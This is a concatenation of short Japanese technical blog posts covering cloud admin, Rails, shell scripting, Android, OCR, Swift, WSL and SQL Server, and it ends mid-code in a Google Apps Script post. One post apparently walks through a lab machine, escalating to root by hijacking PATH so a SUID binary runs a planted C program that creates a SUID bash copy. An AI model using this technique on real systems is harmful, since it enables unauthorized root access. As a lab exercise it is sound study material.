[キタミ式イラストIT塾　基本情報技術者](https://www.amazon.co.jp/%E3%82%AD%E3%82%BF%E3%83%9F%E5%BC%8F%E3%82%A4%E3%83%A9%E3%82%B9%E3%83%88IT%E5%A1%BE-%E5%9F%BA%E6%9C%AC%E6%83%85%E5%A0%B1%E6%8A%80%E8%A1%93%E8%80%85-%E4%BB%A4%E5%92%8C04%E5%B9%B4-%E3%81%8D%E3%81%9F%E3%81%BF-%E3%82%8A%E3%82%85%E3%81%86%E3%81%98/dp/4297124513)
VMware Cloud on AWS の cloudadmin のパスワード変更

# はじめに
<!-- 発端や概要を記載 -->
「VMware Cloud on AWS (VMC) の cloudadmin のパスワードは変更可能ですか？」とご質問を頂くことがあるので実際に試してみました。

# 目次
<!-- タイトルとアンカー名を編集 -->
1. [cloudadminとは](#cloudadminとは)
1. [パスワードの変更](#パスワードの変更)
1. [パスワードを忘れてしまった場合](#パスワードを忘れてしまった場合)
1. [参考文献](#参考文献)

<!-- 各チャプター -->
# cloudadminとは
VMC では SDDC をデプロイすると cloudadmin@vmc.local という SDDC で管理・運用をする為に必要な権限を持ったユーザーが作成されます。

尚、VMC ではホストの管理やその他のタスクは VMware が行うため、クラウドの管理者に必要な権限はオンプレミス データセンターの管理者よりも少なくなります。 

最初に割り当てられる cloudadmin のパスワードは VMC コンソールから確認が可能です。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/441095/d0a6b197-3c33-7ffe-af83-be0485d21d10.png)

# パスワードの変更
オンプレミスと同様、パスワードの変更は vSphere Client から可能です。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/441095/6bbc4bba-7625-8037-3150-8a3cf7c1be80.png)

※ 注意点としては、パスワードを変更しても、新しいパスワードは VMC コンソールには同期されません。デフォルトの認証情報のみが表示されます。
認証情報を変更した場合、新しいパスワードの保管と管理はユーザーの責任となりますとなりますので、変更の際は注意しましょう。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/441095/d0a6b197-3c33-7ffe-af83-be0485d21d10.png)

# パスワードを忘れてしまった場合
テクニカル サポートに連絡し、パスワードの変更を要求します。

# 参考文献
- [変更したパスワードを vCenter Server へのログイン ページにコピーできない](https://docs.vmware.com/jp/VMware-Cloud-on-AWS/services/com.vmware.vmc-aws-operations/GUID-7F72EA90-5BFA-404F-A2EC-B93070A52A67.html)
分かりやすい文章を書くためのポイント

## はじめに

技術文書を書く際の、分かりやすい文章を書くためのポイントをまとめてみました。この内容は、３級テクニカルライター試験の対策にもなります。

## ポイント

- #### １つの文章内に、同じ言葉を繰り返さない

**「このソフトウェアは、絵を描くためのアプリケーションソフトです。」**　
この文はソフトウェアと、アプリケーションソフトという、同じ意味の単語を重複して使っているため、冗長になっています。このように書き換えるとすっきりした表現になります。⇒ **（正）「このソフトウェアは、絵を描くためのものです。」**

**「写真を印刷するときは、専用紙に印刷します。 」**
この文も一文の中に印刷という単語が重複して登場しているため、冗長な文となっています。このように書き換えるとすっきりするでしょう。⇒ **（正）「写真を印刷するときは、専用紙を使います。」**

- #### 矛盾した表現を使わない

**「不測の事態を予測して行動する。」**
さて、この文は何がよろしくないのでしょうか。そもそも、予測できないからこそ、不測の事態であるはずです。文の中に矛盾した表現が含まれていることになります。この文は次のように表現するべきです。⇒ **（正）「不測の事態に備えて行動する。」**

- #### 合成語を作らないこと

**「サイズ指定する。」**
さて、この文は何がよろしくないのでしょうか。サイズは名詞だが、指定は「指定する」の動詞です。名詞を動詞を組み合わせて１つの名詞を作っています。これを合成語といいます。書き手は合成語を作るべきではありません。合成語は作らずにこのように書くべきです。⇒ **（正）「サイズを指定する。」**

- #### 方法という表現を多用しない

**「マウスを使用するという方法もあります。」**
方法という表現を使うと、文が冗長になりがちです。次のような表現に書きかえるとすっきりします。⇒ **（正）「マウスも使用できます。」**

- #### 専門用語を利用しないこと

業界内だけで当たり前のように使っている表現は、業界に携わっていない人からすれば、何のことだか分からないこともあります。極端な例ではありますが、放送業界で使われている「しーめー食いに行く」（飯を食いに行く）といった単語を逆読みする読み方も、一般的には通用しないため、文章にそのまま記述してしまうわけにはいきません。

**「これは新社会人にフォーカスした製品です。」**
この表現は次のように書き換えた方がいいです。⇒ **（正）「これは新社会人に狙いを絞った製品です。」**

**「Windows10に対応しています。」**
この表現は次のように書き換えた方がいいです。⇒ **（正）「Windows10上で動作します。」**

- #### 複数の意味に解釈できる文を書かない

否定文には、１つの文で全体否定と部分否定の２種類に解釈できる文が存在します。曖昧な表現ができてしまう日本語の欠点というべきだろうか。

**「新製品のサンプルは、全部配布しないでください。」**
さて、あなたはこの文を読んでどう解釈だただろうか。「ああ、つまり、１枚も配布したら駄目なのね」（全体否定だと捉えた人の解釈）。「殆ど配布してしまって、２～３枚程度、残しておけばいいのね」（部分否定だと捉えた人の解釈）

ルビンの壺という心理学で扱われる絵があります。１度くらいはどこかで見たことがあるでしょう。ルビンの壺の絵を見て、最初に壺が見えた人もいれば、人の横顔が最初に見えた人もいるでしょう。このように、１文の文であっても、読み手によって解釈の仕方が２通りに分かれてしまうケースがあります。「両方の意味に取れるけど、どっち？」となる人もいるでしょう。そのような文は、フォーマルな文書で使うべきではありません。書き手の意図がしっかりと読み手に伝わるように、このように書き換えましょう。

全体否定の場合⇒ **（正）「新製品のサンプルは、まったく、配布しないでください。」**
部分否定の場合⇒ **（正）「新製品のサンプルは、一度に全部を配布しないでください。」**

**「テストの問題は、全部できなかった。」**
これも２つの意味に解釈ができる文です。

全体否定であるならば、次のように書き換えるべきです。⇒ **（正）「テストの問題は、全部ができなかった。」**
部分否定であるならば、次のように書き換えるべきです。⇒ **（正）「テストの問題は、全部できなかったわけではない。」**

- #### 曖昧な表現は使わない

**「間隔を数ミリ空けてください。」**
この文には曖昧な表現が使われています。この文を読んで、「数ミリってどの程度？」と、つっこみを入れたくなるかと思います。
このような文は次のように書き換えると、分かりやすくなります。⇒ **（正）「間隔を3～5ミリ空けてください。」**

**「しばらく、そのままにしておいてください。」**
この文を読んで、「しばらくって、どの程？」となってしまいます。
この文は、次のように書き換えると、分かりやすくなります。⇒ **（正）「約5分間、そのままにしておいてください。」**

- #### 同じ表現を重複して使わない

**「まず、はじめに電源をいれます。」**
「まず」と「はじめに」と同じ表現が重複して使われています。このようは書き方は冗長な文であるため、次のように書く必要があります。
⇒ **（正）「まず、電源をいれます。」**
⇒ **（正）「はじめに電源をいれます。」**

**「〇〇が、必ず必要です。」**
この文も冗長な文になっています。このように書き換えるべきです。
⇒ **（正）「〇〇が、必要です。」**
docker-compose 自体をコンテナで動作させる

podman のセットアップ中に docker-compose 自体をコンテナで動作させるやり方が載っていたので、 docker でも同じようにできるはず、と思ってやってみた。

# 参考

* [【Podman v3】ルートレスモードでdocker-composeを実行する](https://rheb.hatenablog.com/entry/podman3-rootless-docker-compose)

# 起動の仕方

docker.sock をホストとコンテナで共有させてやれば docker でも動作した。

```bash
alias docker-compose='docker run --rm -v /var/run/docker.sock:/var/run/docker.sock:z -v "$PWD:/$PWD:z" -w "/$PWD" docker/compose:1.29.2'
docker-compose version
```

# 実行結果
```
docker-compose version 1.29.2, build 5becea4
docker-py version: 5.0.0
CPython version: 3.7.10
OpenSSL version: OpenSSL 1.1.1k  25 Mar 2021
```
SUIDと相対パスによる権限昇格

root権限で実行されるコマンド内に、相対パスで参照されるコマンドがある状況での権限昇格について。

（root権限で実行される理由は、sudoでもSUIDでもなんでもいいが、今回の例ではSUID。）

# 怪しいSUIDビット付きのELFファイル

```
theseus@ubuntu:~$ ls -l /bin/sysinfo
-rwsr-x--- 1 root users 22040 Oct 21  2019 /bin/sysinfo

theseus@ubuntu:/$ file /bin/sysinfo
/bin/sysinfo: setuid ELF 64-bit LSB shared object, x86-64 ...
```

`strings`コマンドで見てみると、中で`lshw`、`fdisk`、`cat`コマンドを実行していることが分かる：

```
theseus@ubuntu:~$ strings /bin/sysinfo
...8<...
====================Hardware Info====================
lshw -short
====================Disk Info====================
fdisk -l
====================CPU Info====================
cat /proc/cpuinfo
====================MEM Usage=====================
free -h
...8<...
```

# パスを編集してprivescする

戦略として次の２ステップ：

step1: 「lshw」という名前で、シェルを起動するようなバイナリをカレントディレクトリに用意する。

step2: カレントディレクトリをPATHの先頭に加える。

## step1

次のCスクリプトを用意する：

```c:exploit.c
#include <stdlib.h>
int main(void)
{
system("cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash");
}
```

これはシェルを起動するのではなく、SUIDビット付きの`/bin/bash`を作成してくれる。

`sysinfo`コマンドの実行中に無理やりシェルを起動するとうまく動かない可能性がり、rootbashを用意するこっちの動きの方が安定性がある。

これを`lshw`という名前の実行ファイルへコンパイルする：

```
theseus@ubuntu:~$ gcc exploit.c -o lshw
```

## step2

カレントディレクトリをPATHの先頭へ追加する。

```
theseus@ubuntu:~$ pwd
/home/theseus

theseus@ubuntu:~$ export PATH=/home/theseus:$PATH
theseus@ubuntu:~$ echo $PATH
/home/theseus:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
```

以上で準備は整った。あとは`sysinfo`コマンドを実行してやればよい：

```
theseus@ubuntu:~$ sysinfo
```

すると、次のように`/tmp/rootbash`が作られる。

```
theseus@ubuntu:~$ ls -l /tmp/
total 1088
-rwsr-sr-x 1 root root 1113504 May 13 02:49 rootbash
```

あとはこれを起動してroot権限のシェルを得る：

```
theseus@ubuntu:~$ /tmp/rootbash -p
rootbash-4.4# id
uid=1000(theseus) gid=1000(theseus) euid=0(root) egid=0(root) groups=0(root),100(users),1000(theseus)
rootbash-4.4# whoami
root
rootbash-4.4# ls /root
info.c	root.txt  snap
```
【GCP】Cloud ShellからVMインスタンスを作成してみました

# はじめに
GCPのCloud Shellは便利しすぎて、今回はCloud Shellコマンドから、インスタンスを作成してみました。

# インスタンス情報
・インスタンス台数：２台（test01 test02）
・インスタンスタイプ：e2-micro
・インスタンス価格タイプ：プリエンプティブル VM インスタンス（preemptible）
・ゾーン：us-east1-b

# インスタンス作成
GCPのCloud Shellを開き、以下のコマンドをたたきました。
```
$ gcloud compute instances create test01 test02 --project=planning-and-xxx-xxxxxxxxx --zone=us-east1-b --machine-type=e2-micro --preemptible
Created [https://www.googleapis.com/compute/v1/projects/planning-and-xxx-xxxxxxxxx/zones/us-east1-b/instances/test01].
Created [https://www.googleapis.com/compute/v1/projects/planning-and-xxx-xxxxxxxxx/zones/us-east1-b/instances/test02].
NAME: test01
ZONE: us-east1-b
MACHINE_TYPE: e2-micro
PREEMPTIBLE: true
INTERNAL_IP: 10.142.0.5
EXTERNAL_IP: xx.xx.xx.xx
STATUS: RUNNING

NAME: test02
ZONE: us-east1-b
MACHINE_TYPE: e2-micro
PREEMPTIBLE: true
INTERNAL_IP: 10.142.0.6
EXTERNAL_IP: xx.xx.xx.xx
STATUS: RUNNING
```

すると、GCPコンソール画面から、上記２台のインスタンスが作成されたことを確認できました。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/865613/6c34b988-d37c-31e0-c540-1218cc8088b5.png)

# 参考資料

https://cloud.google.com/sdk/gcloud/reference/compute/instances/create

https://gcpinstances.doit-intl.com

https://cloud.google.com/compute/docs/instances/preemptible?hl=ja
content_forメソッドでタイトルを動的に出力する

タイトルを動的に出力したいのでyieldメソッドとcontent_forメソッドをうまく利用する。
content_forメソッドを使うことでヘルパーメソッドが利用できるので、動的にタイトルを出力することができる。


まずは簡単にyieldメソッドとcontent_forメソッドの使い方を説明していく。

### content_for
content_forは表示したいコンテンツを設定するのが役割。
content_forの公式
```erb
<%= content_for :コンテンツ名 do %> 
  コンテンツ
<% end %> 
```
具体例を用いて説明していく。
```erb
<%= content_for :title do %> 
  トップページ
<% end %> 
```
コンテンツ名を:titleとした。そしてコンテンツはトップページとする。
content_forでは表示したいコンテンツをdo~endで囲む。
ここでいうコンテンツはページのタイトルとして表示したい文字列を設定。

### yield

yieldの公式

```
yield(:コンテンツ名)
```
今回は上記で設定したトップページという文字列を表示したいので、
```
yield(:title)
```
とする。このようにcontent_for(:コンテンツ名)で表示したいコンテンツを設定しておき、yield(:コンテンツ名)で設定したコンテンツを出力することができる。
これを利用してタイトルを動的に呼び出していく。

## 実践
今回はユーザー登録ページと、トップページで異なるタイトルを出力していく。

１、content_forメソッドで設定する。
```top.html.erb
<%  content_for :title do %>
 　page_title("トップ")
<% end %>
```

```new.html.erb
<%  content_for :title do %>
 　page_title("ユーザー登録")
<% end %>
```
今回は異なるタイトルを効率よく出力したいのでhelperメソッドを利用する。

２、ヘルパーメソッドを定義
```application.helper.rb
module ApplicationHelper
  def page_title(title)
    title + "ページ"
  end
end
```

３、実際に出力する。
```application.html.erb
<title><%= yield(:title) %></title>
```
以上で完成。
if文を利用したスクリプトを作ってみた

# 1．はじめに
今回は以前作成した四則演算のスクリプトに続き、<br>if文を利用した数値比較スクリプトを作成しようと思います。
※LinuCの資格学習にもなるので、作成してみました。

# 2．実行環境
今回作成した実行環境について、以下の通りです。
```
■実行環境
Operating System: CentOS Linux 7 (Core)
          Kernel: Linux 3.10.0-1160.el7.x86_64
    Architecture: x86-64
```
# 3．スクリプト作成
前回同様に『work』フォルダを作成し、シェルスクリプトを作成します。
※フォルダ名・ファイル名は、分かりやすいもので大丈夫です。

```
mkdir work; cd /root/work; pwd
vi ＜ファイル名＞.sh

#!/bin/bash
※上記シバンを入力します。
```
今回はファイル内の情報を変数へ格納するため、以下コマンドで指定します。
※変数に格納する数値はテキストにて準備します。
```
A=$(<A.txt)
B=$(<B.txt)
```
if文の条件式を用いて、それぞれのファイルを比較する条件式を作成します。
```
#各変数を比較して、同じ数値か確認します。
if [ "$A" -eq "$B" ];
then
 echo "両チーム引き分け"
#各変数の数値が異なる場合、どちらが大きいか比較します。
elif [ "$A" -gt "$B" ];
then
 echo "Aチームの勝利"
else
 echo "Bチームの勝利"
fi
```
# 4. 実行
実行する前に変数に格納するファイルを2つ作成し、数値を1つ入力する。
その後、対象スクリプトに実行権限を付与し、確認します。
```
#変数に格納するファイル作成
vi ＜ファイル名＞
#実行権限を付与する
chmod x ＜ファイル名＞.sh
chmod 744 ＜ファイル名＞.sh
#どちらでも実行権限を付与できます。
---
ls -l
```

対象のスクリプトを実行します。

```
./＜ファイル名＞.sh
/root/work/＜ファイル名＞.sh
bash ＜ファイル名＞.sh
source ＜ファイル名＞.sh
. ＜ファイル名＞.sh
```
実行結果は以下の通りです。<br>
```
##Aチームが大きい場合
# source sample3.sh
結果はAチームの勝利!!
各チームの数値はこちら
Aチーム:9
Bチーム:4

##両チームが引き分けの場合
# source sample3.sh
結果は両チーム引き分け
各チームの数値はこちら
Aチーム:4
Bチーム:4
```

# 5．完成形
今回自分が作成したシェルでは、下記の内容になりました。
```
#!/bin/bash
#各変数に入力した引数を設定する
A=$(<A.txt)
B=$(<B.txt)
#if文にてAとBの変数を比較
if [ "$A" -eq "$B" ];
then
 echo "結果は両チーム引き分け"
elif [ "$A" -gt "$B" ];
then
 echo "結果はAチームの勝利!!"
else
 echo "結果はBチームの勝利!!"
fi
#各変数の値を出力する
echo "各チームの数値はこちら"
echo "Aチーム:"$A
echo "Bチーム:"$B
```
# 6．まとめ
LinuCの資格学習のアウトプットとして、簡易的なスクリプトを作成いたしました。<br>やはり、試行錯誤してスクリプトを作成するとても勉強になり楽しくできました。<br>※残課題として、複数の数値を指定した場合の動作を考えようと思いましたが、<br>気力がなくなった為、次回以降作る機会があれば、考えようと思います。
# 7. 参考文献
・[『シェルスクリプトでテキストファイルの内容を読み込む方法』](https://linuxfan.info/post-2024)
xmlのshapeタグって意外と自由度が高いっていう話 part3

# 初めに
今回は、shapeタグの紹介記事第三弾になります
3個目はViewに一気対してこだわりを持たせられる`gradient`です。

## 本文
こちらは名前の通りグラデーションをつけることができ、色は`startColor`、`centerColor`、`endColor`の三種類を指定することがきます。
・`startColor`は***スタート位置の色***
・`centerColor`は***中間地点の色***
・`endColor`は***最終地点の色***を指定することができます。
色以外の要素となると
・`type`
・`gradientRadius `
・`centerX`
・`centerY`
・`angle`
の5点があります

`type`とはグラデーションの形を指定することができ、
・`linear `
・`radial `
・`sweep`
の3種類があり、`radial`は***放射状***に、`sweep`は***円形***にグラデーションをかけることができ、`type`を指定しない場合は`linear`になり***直線状***のグラデーションがかかります。
`gradientRadius`は`radial`を使用してる時に半径を指定することができます。
`centerX`と`centerY`は0~1の間でグラデーションの場所を指定することができるので、放射状にグラデーションを表示している時などに便利です。
最後に`angle`です。
`gradient`はデフォルトだと***左から右に***グラデーションをかけるので`angle`に0~360を指定することで方向を変更することができます。
各形状のサンプルコードと画像を置いておきます。

---

```xml:linear
<?xml version="1.0" encoding="utf-8"?>
<shape xmlns:android="http://schemas.android.com/apk/res/android"
    android:shape="rectangle">
    <gradient
        android:angle="90"
        android:centerColor="@color/white"
        android:endColor="@android:color/transparent"
        android:type="linear"
        android:startColor="@color/white" />
</shape>
```

![スクリーンショット 2022-05-13 18.20.10.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/638092/bcaca285-a9e3-06e9-3764-b8a41816cb9a.png)

---
```xml:radial
<?xml version="1.0" encoding="utf-8"?>
<shape xmlns:android="http://schemas.android.com/apk/res/android"
    android:shape="rectangle">
    <gradient
        android:centerColor="@color/black"
        android:endColor="@android:color/white"
        android:type="radial"
        android:centerX="0.5"
        android:centerY="0.5"
        android:gradientRadius="200dp"
        android:startColor="@color/white" />
</shape>
```
![スクリーンショット 2022-05-13 18.21.13.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/638092/af370b19-9a71-0e75-3ebd-322e87f28f2f.png)

---
```xml:sweep
<?xml version="1.0" encoding="utf-8"?>
<shape xmlns:android="http://schemas.android.com/apk/res/android"
    android:shape="rectangle">
    <gradient
        android:centerColor="@color/black"
        android:endColor="@android:color/darker_gray"
        android:type="sweep"
        android:startColor="@color/white" />
</shape>
```

![スクリーンショット 2022-05-13 18.22.08.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/638092/21afb8d8-a9ac-f12e-e014-9061b0896163.png)


## 最後に
Shapeタグを紹介していくシリーズは今回が最後になります。
自由度が高く、簡単に少しだけこだわりを持たせたり、見た目のグレードアップにつながるものなので皆さんもぜひ活用してみてください。
前回の記事はこちら：https://qiita.com/ryuji_sato/items/b2f1f716e686d26bc849
Dynamics 365 の関連テーブル表示の行数を変更する


## はじめに

関連テーブルのタスク業を変更したいが、どこから変更すればよいのかわからない人向け。
以下画面の7行デフォルト表示を変更したい。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/367026/b3af2d9a-3c98-262f-6743-317fe205d6cb.png)

最初どこを修正するべきか不明だった。


## やりかた
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/367026/b70b0944-57b9-2c02-a300-3179efcb4d8b.png)
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/367026/12eb1923-0ac4-74c8-0aba-935f2654a6fa.png)

https://make.powerapps.com/

↑のURLを開く。


## 1. プレビューで編集するを開く
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/367026/7b96e5c7-dc59-a0cf-f3c4-1143ed66c738.png)


## 2. Power Apps のプレビュー画面を開き、営業案件フォームから、右画面のフォーム「プロジェクト情報」をクリックし、ツリービューを使用する
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/367026/38af4c95-c91b-554d-d11e-4b79d945a4fb.png)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/367026/3bbff190-9401-cb29-63e8-9d9330dc406a.png)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/367026/9fd40b26-bf52-ac24-9ef8-35dae617c459.png)


ここの値　行の最大数を変更する
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/367026/c8f65381-e3eb-88fb-9074-6e2833eb2822.png)

以上

## 結果
行数が20行デフォルトとなった


## 参考URL
https://docs.microsoft.com/ja-jp/power-apps/maker/model-driven-apps/using-tree-view-on-form

（公式Docs）https://docs.microsoft.com/ja-jp/power-apps/maker/model-driven-apps/using-tree-view-on-form

以上
pythonを利用して画像から文字認識をする。

# 目的
python + Tesseractによる画像処理をOCRで試し、使い勝手を調査します。

google ドライブのOCRを使用した場合、画像内の文字認識がかなりの高精度で判断でき、便利なことが分かりました。
ただ、不便なこともいくつかありました。
・複数の画像の処理をする場合、手作業に時間がかる。
・文字認識までに時間がかかる。
・余計なスペースが入る。

# OCRとは
OCRは、Optical Character Reader の略で、画像データの文字部分を認識し、デジタルの文字データに変換する光学文字認識機能のことです。例えば、jpgやpngなどの画像データの拡張子ファイルから文字部分を取り出して、書かれている文字をテキストデータにできるようなイメージです。
![クイックノート P1.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/176158/6de3bd13-f160-7c12-a2f3-f622385c3ba3.png)

# 環境
Python version:3.9.7
OS: windows 10.0
Anaconda:conda 4.11.0

# インストール
TesseractとPyOCRをインストールします。
# Tesseract
1. Tesseractを[ここ](https://github.com/UB-Mannheim/tesseract/wiki)からダウンロードします。
インストール時の注意点は、「Choose Components」画面が表示まで進めたとき、2つ作業があります。
①「Additional script data(download)」を展開し、「Japanese script」と「Japanese vertical script」にチェックを入れる。
②「Additional language data(download)」を展開し、「Japanese」と「Japanese(Vertical)」にチェックを入れます。

# pyocr
pyocrをインストールする。

```terminal
pip install pyocr
```

# 文字認識の確認
適当に英語が記載されているファイルを用い、文字認識を確認します。
私は、画像ファイルを```test.png```として試しています。

```test.py
from PIL import Image
import pyocr

# tesseractのpath 
pyocr.tesseract.TESSERACT_CMD = r'C:\\Program Files\\Tesseract-OCR\\tesseract.exe'

tools = pyocr.get_available_tools()
tool = tools[0]

# 画像の文字を読み込む
txt = tool.image_to_string(Image.open('test.png'), lang="eng")
print(txt) # 「Test Message」が出力される
```

試した画像ファイルでは、英語の文字認識はうまくできました。

# 日本語での文字認識
デフォルトは、英語に設定されています。日本語にするには上記ファイルの```eng```から```jpn```に変更すると行えます。
実行してみましたが、文字認識の結果がいまいちだったので、機械学習データの変更をしてみました。

ファイルの配置先は、```C:\Program Files\Tesseract-OCR\tessdata```に入れます。

【tessdata_best/jpn.traineddata】
https://github.com/tesseract-ocr/tessdata_best/blob/master/jpn.traineddata

【tessdata_best/jpn_vert.traineddata】
https://github.com/tesseract-ocr/tessdata_best/blob/master/jpn_vert.traineddata

結果は、こんな感じでうまく文字を認識できませんでした。もう少し、工夫する必要があるようです。
![ャ.PNG](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/176158/2f65734d-cf01-cb40-25c7-61b824c5263f.png)

# 結果
現時点では、google ドライブのOCRを使用し、文字認識をした方が精度高く認識できそうです。
簡単に文字認識できる方法ないかな。。。

追記 [Vision API](https://self-development.info/google%E3%83%89%E3%83%A9%E3%82%A4%E3%83%96%E3%81%AEocr%E3%82%88%E3%82%8A%E9%AB%98%E7%B2%BE%E5%BA%A6%E3%81%AEvision-api%E3%82%92%E4%BD%BF%E3%81%86%E3%80%90python%E3%80%91/)が使えそうかも。。


 # リンク
今回、下記リンクを参考にさせていただきました。
[PythonとOCRエンジンで画像から文字を認識する](https://qiita.com/eiji-noguchi/items/c19c1e125eaa87c3616b)
[Python＋Tesseractによる画像処理でOCRを試してみた！](https://rightcode.co.jp/blog/information-technology/python-tesseract-image-processing-ocr)
【Swift】Windowの仕様変更が激しい

# 警告文を消したい
```
'keyWindow' was deprecated in iOS 13.0: Should not be used for applications that support multiple scenes as it returns a key window across all connected scenes
```
```
'windows' was deprecated in iOS 15.0: Use UIWindowScene.windows on a relevant window scene instead
```
# iOS13以前
![スクリーンショット 2022-05-13 14.37.29.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1745371/082136e9-ae2a-2578-8aaa-7b3c213a7549.png)
```Swift
UIApplication.shared.keyWindow?.rootViewController?.present(view, animated: true, completion: nil)
```
# iOS13以降
![スクリーンショット 2022-05-13 14.37.59.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1745371/b5926d98-6703-c591-65a8-ec6206f2bfc2.png)
```Swift
UIApplication.shared.windows.first?.rootViewController?.present(view, animated: true, completion: nil)
```

# iOS15以降
```Swift
let windowScene = UIApplication.shared.connectedScenes.first(where: { $0.activationState == .foregroundActive }) as? UIWindowScene
windowScene?.windows.first?.rootViewController?.present(view, animated: true, completion: nil)
```

# おわり
サンプルプロジェクトを置いときます

https://github.com/SNQ-2001/UIWindowScene-Update-Demo
M1MAC環境でProcessingでAR導入メモ

# はじめに
　この記事は、ProcessingのP3Dモードで表示されない問題に、
frameRate(30);
を追加することで、解決するというメモです。ARToolKitを使う際にハマりました。

# 環境
M1 Mac
OS 12.2.1
Processing 3.5.3
Video Library 2.0（ライブラリマネージャからインストール）
nyar4psg 3.0.7（ライブラリマネージャからインストール）

Processing.orgからProcessing 3.5.3のリンクが消えましたが、下記URLから辿ることが出来ます。 
[Windows32bit版](https://github.com/processing/processing/releases/download/processing-0269-3.5.3/processing-3.5.3-windows32.zip)
[Windows64bit版](https://github.com/processing/processing/releases/download/processing-0269-3.5.3/processing-3.5.3-windows64.zip)
[Mac版](https://github.com/processing/processing/releases/download/processing-0269-3.5.3/processing-3.5.3-macosx.zip)

# コード
サンプルのsimpleLiteをいじりました。
camera_para.datとpatt.hiroはARTOOLKIT導入の際に入りますが、自分のフォルダにコピーしています。

```java:AR100.pde
import processing.video.*;
import jp.nyatla.nyar4psg.*;

Capture cam;
MultiMarker ar;

void setup() {
  size(640, 480, P3D);
  frameRate(30);//これで解決！
  cam = new Capture(this, 640, 480);
  ar = new MultiMarker(this, width, height, "camera_para.dat", NyAR4PsgConfig.CONFIG_PSG);
  ar.addARMarker("patt.hiro", 80);
  cam.start();
}

void draw(){
  if (!cam.available()) {
    return;
  }
  cam.read();
  ar.detect(cam);
  background(0);
  ar.drawBackground(cam);//frustumを考慮した背景描画
  if ((!ar.isExist(0))) {
    return;
  }
  ar.beginTransform(0);
  fill(0, 0, 255);
  translate(0, 0, 20);
  box(40);
  ar.endTransform();
}

```
wslpathコマンドで､Windowsパス⇔Linuxパスを相互変換する｡

## 使い方

WSL(Linux上)では`wslpath 'パス'`
PowerShellでは`wsl wslpath "'パス'"`を実行する｡

### Windows→Linux

#### WSL

```bash
$ wslpath ${Windowsのパス}
```

```bash
$ wslpath 'C:\Windows\Media'
/mnt/c/Windows/Media
```

#### PowerShell

```powershell
> wsl wslpath "'${Windowsのパス}'"
```

```powershell
> wsl wslpath "'C:\Windows\Media'"
/mnt/c/Windows/Media
```

### Linux→Windows

#### WSL

```bash
$ wslpath -w ${Linuxのパス}
```

```bash
$ wslpath -w '/mnt/c/Windows/Media'
C:\Windows\Media
```

#### PowerShell

```powershell
> wsl wslpath ${Linuxのパス}
```

```powershell
> wsl wslpath -w /mnt/c/Windows/Media
C:\Windows\Media
```

### マニュアル

```bash
Usage:
    -a    force result to absolute path format
    -u    translate from a Windows path to a WSL path (default)
    -w    translate from a WSL path to a Windows path
    -m    translate from a WSL path to a Windows path, with '/' instead of '\'

EX: wslpath 'c:\users'
```

## 注意点

### PowerShellでは`\`のエスケープなどが必要

#### 失敗例

```powershell
> wsl wslpath 'C:\Windows\Media'
wslpath: C:WindowsMedia
```

#### 良い例

```powershell
> wsl wslpath 'C:\\Windows\\Media'
/mnt/c/Windows/Media

> wsl wslpath "'C:\Windows\Media'"
/mnt/c/Windows/Media

> wsl wslpath '"C:\Windows\Media"'
/mnt/c/Windows/Media
```

｢PowerShellでは上手く動かないのか?｣と悩んでいたところ､コメントにて間違いをご指摘いただきました｡ありがとうございます｡
SQLserverのユーザ追加メモ

# はじめに
SQLServerのユーザは下記の2つ必要っぽい
- インスタンスログイン用(Management Studioログイン)
- DBログイン

# ユーザを作る
PowerShellでSelectするだけのユーザを作る時のメモ

```
-- インスタンスログイン用ユーザの作成
CREATE LOGIN ユーザ名_i
    WITH PASSWORD = 'パスワード'; 

-- データベース ユーザーの作成 (ユーザ名_d = ユーザ名_i、異なる名称にしたらどうなるかは把握していない)
use DB名;
CREATE USER ユーザ名_d FOR LOGIN ユーザ名_i;  

-- 特定のテーブルのSelectのみを許可
GRANT SELECT ON OBJECT::テーブル名 TO ユーザ名_d;
```

# パッチ用のパスワード暗号化ファイルを作成する
バッチにパスワードを平文で書きたくないのでやる

```
# パスワードの暗号化
$Cred = ConvertTo-SecureString -string "パスワード" -AsPlainText -Force

# 以下を実行して入力情報を暗号化ファイルに出力する
"$Cred | ConvertFrom-SecureString | Out-File パスワードファイルのフルパス 
```

バッチ内でパスワードの復号は下記のようにやる
```
# 暗号化したテキストをSecureStringオブジェクトに変換
$importSecureString = Get-Content パスワードファイルのフルパス | ConvertTo-SecureString

# SecureStringからパスワードを復号
$bstr               = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($importSecureString)
$StringPassword     = [System.Runtime.InteropServices.Marshal]::PtrToStringBSTR($bstr)
```
OAuthスコープを../spreadsheets.currentonlyに設定したApps ScriptではSpreadsheetApp.getActiveRangeList()がエラーとなる

Googleスプレッドシートで、[選択したセル範囲の文字列（URL）をハイパーテキストに変換する](https://gist.github.com/ttsukagoshi/24ff40db41abd5ed9062addbb8572742)ためのGoogle Apps Script（GAS）を組んでいる時に出会った事象です。公式ドキュメントで書かれていることとは違う挙動を見つけたので、ご紹介します。

```javascript
/* 
 * OAuth scopeを
 * https://www.googleapis.com/auth/spreadsheets.currentonly
 * に設定している場合
 */ 

// 選択されているセル範囲を取得する
const selectedRangeListNg = SpreadsheetApp.getActiveRangeList()
// 「Exception: その操作を実行する権限がありません。」

